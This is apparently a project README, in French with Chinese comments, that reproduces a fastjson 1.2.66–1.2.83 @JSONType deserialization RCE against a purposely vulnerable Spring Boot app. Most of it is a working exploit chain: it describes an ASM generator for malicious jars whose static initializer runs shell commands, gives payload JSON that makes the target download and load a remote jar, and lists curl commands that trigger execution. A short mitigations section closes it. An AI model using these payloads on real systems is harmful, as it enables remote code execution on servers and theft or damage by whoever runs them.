
Reproduit la RCE fastjson 1.2.83 @JSONType avec une cible Spring Boot vulnérable et un générateur de payload basé sur ASM utilisant des chaînes jar par protocole HTTP ou fichier.
@JSONType
Projet de reproduction du chargement de classes distant / exécution de commandes sur fastjson 1.2.66 ~ 1.2.83 via l'annotation @JSONType + nom de classe illégal + protocole jar:.
⚠️ Avertissement
Ce projet est destiné uniquement à la recherche en sécurité, à la reproduction de vulnérabilités et aux tests autorisés. Il est strictement interdit de l'utiliser sur des systèmes non autorisés, pour des attaques illégales ou à des fins malveillantes. L'utilisateur assume l'entière responsabilité de ses actions ; l'auteur décline toute responsabilité légale en cas d'abus.
Article d'analyse de la vulnérabilité : https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Ce projet met en place un environnement complet de reproduction de la vulnérabilité fastjson 1.2.83 autour de CVE-2026-16723 :
demo/ — Application Web Spring Boot 2.7.18 vulnérable (dépend de fastjson 1.2.83), exposant le point de terminaison POST /parse qui appelle directement JSON.parse(json) ;exp/ — Générateur de jar sonde malveillant basé sur ASM (deux variantes : protocole HTTP / protocole FILE) ;环境/ — FatJar précompilés pour trois serveurs d'application (Tomcat / Jetty / Undertow), prêts à l'emploi.Idée clé de l'exploitation : en construisant un JSON spécial dont @type est une URL jar, on amène fastjson à emprunter la branche de confiance de l'annotation @JSONType → getResourceAsStream télécharge le jar distant/local → defineClass charge la classe malveillante → l'initialisation de la classe déclenche <clinit> → exécution arbitraire de commandes (RCE).
| Élément | Détail |
|---|---|
| CVE | CVE-2026-16723 |
| Composant | Alibaba fastjson |
| Versions affectées | 1.2.66 ~ 1.2.83 (la dernière version 1.x reste affectée) |
| Type de vulnérabilité | Exécution de code à distance par désérialisation (RCE) |
| Point d'entrée | JSON.parse(json) / JSON.parseObject(json) (sans spécifier de type concret) |
| Conditions préalables | Cible en Spring Boot FatJar, JDK 8, safeMode désactivé |
JSON.parse(json) ou JSON.parseObject(json) pour analyser directement des entrées non fiables, avec une version de fastjson comprise entre 1.2.66 ~ 1.2.83 et safeMode désactivé ;java -jar, LaunchedURLClassLoader ; seule Spring Boot ≤ 2.7 conserve la capacité de repli du gestionnaire du protocole jar:) ;defineClass lève une ClassFormatError ; au mieux, seul un SSRF est possible) ;Le checkAutoType de fastjson entre dans la branche de confiance lorsqu'il rencontre une classe annotée @JSONType, contournant la plupart des vérifications de la liste noire et autorisant le chargement. Ce projet exploite ce point en écrivant directement le bytecode avec ASM : un « nom de classe interne illégal » est placé dans le this_class du pool de constantes de la classe, de sorte que les trois noms s'alignent parfaitement :
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Structure de la classe malveillante :
@JSONType — la clé qui ouvre la branche de confiance du checkAutoType de fastjson ;<init>()V — garantit que fastjson peut instancier la classe normalement ;<clinit> — exécute Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) dès l'initialisation lors du chargement de la classe, réalisant l'exécution de commandes.Un nom de classe illégal ne peut pas être écrit avec
javac; seul ASM peut écrire directement l'URL dans le pool de constantes — c'est la raison pour laquelle le générateur de ce projet dépend deasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java :
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
Le laboratoire doit être exécuté sous JDK 8 (conformément aux conditions d'exploitation).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Adresse du point de terminaison après démarrage : http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — port HTTP d'hébergement du jar malveillantopen -a Calculator — commande à exécuter sur la machine cible (ouvre la calculatrice sur macOS ; sous Linux, utilisez id > /tmp/pwned 2>&1 et vérifiez si le fichier existe)Le fichier généré par défaut est x (sans extension) et contient y.class ; le payload est :
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Assurez-vous que
python3 -m http.serverest lancé dans le répertoire où le fichierxa été généré.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
Le résultat de l'exécution de la commande n'est pas renvoyé dans la réponse HTTP ; il faut le confirmer sur la machine cible :
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Cas d'usage : la cible ne peut pas accéder au port HTTP de la machine de l'attaquant (isolement du réseau interne / trafic sortant restreint), mais un fichier jar peut être placé sur le système de fichiers de la machine cible.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
Le générateur calcule l'URL jar:file: à partir du répertoire courant (le séparateur de répertoire / est remplacé par .) ; par exemple, s'il est exécuté dans /tmp/project/exp, le payload sera :
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Téléversez/copiez le fichier y généré vers le chemin absolu correspondant à @type sur la machine cible (par exemple /tmp/project/exp/y), en conservant la même structure de répertoires.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Remarque : le chemin de la chaîne FILE doit correspondre exactement au chemin réel du fichier sur la machine cible ; sinon, la détection de la ressource échoue et le chargement n'est pas déclenché.
| Paramètre | Valeur par défaut | Description |
|---|---|---|
port | 19090 | Port d'hébergement du jar malveillant |
cmd | id > /tmp/pwned 2>&1 | Commande exécutée sur la machine cible |
hostToken | 2130706433 | IP cible sous forme d'entier (127.0.0.1) |
entry | y | Nom de l'entrée de classe dans le jar |
outFile | x | Nom du fichier jar généré (sans extension) |
| Paramètre | Valeur par défaut | Description |
|---|---|---|
port | 19090 | Paramètre réservé (la chaîne FILE n'utilise pas de port) |
cmd | id > /tmp/pwned 2>&1 | Commande exécutée sur la machine cible |
dir | Répertoire courant | Répertoire du jar sur la machine cible (utilisé pour générer l'URL jar:file:) |
entry | x | Nom de l'entrée de classe dans le jar |
outFile | y | Nom du fichier jar généré (sans extension) |
2130706433 est l'entier non signé 32 bits de 127.0.0.1. Utiliser un entier évite que les . de l'IP ne soient corrompus par la logique de remplacement . → / de fastjson. Si la machine de l'attaquant n'est pas la machine locale :
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...Cela indique que le jar peut être téléchargé (le SSRF est confirmé), mais que TypeUtils.loadClass renvoie null. Il n'y a quasiment que deux causes :
@JSONType — la détection ne franchit pas la branche de confiance et n'atteint jamais loadClass ;@type — le nom réel de la classe ne correspond pas à celui attendu par defineClass, le chargement échoue.Le générateur de ce projet résout ces deux points : annotation @JSONType + alignement des trois noms.
Si le ClassLoader de la cible n'est pas LaunchedURLClassLoader (par exemple, IDE lancé directement, archive war classique, Spring Boot 3.x), la chaîne jar:http en un seul envoi ne permet pas le RCE ; au mieux, elle permet uniquement de vérifier le SSRF.
Sous JDK 9+, defineClass valide plus strictement les noms de classes illégaux et lève une ClassFormatError ; la chaîne casse au stade du chargement.
ParserConfig.getGlobalInstance().setSafeMode(true); désactive complètement autoType ;JSON.parse(json) / JSON.parseObject(json) sur une entrée utilisateur ; utilisez de préférence JSON.parseObject(json, Xxx.class) en spécifiant explicitement le type cible ;ParserConfig.addAccept(...) ;@type suspects par un WAF.Si ce projet vous est utile, n'hésitez pas à ⭐ Star pour soutenir la recherche en sécurité et la documentation des vulnérabilités.
⚠️ À utiliser uniquement pour des tests autorisés, jamais à des fins illégales !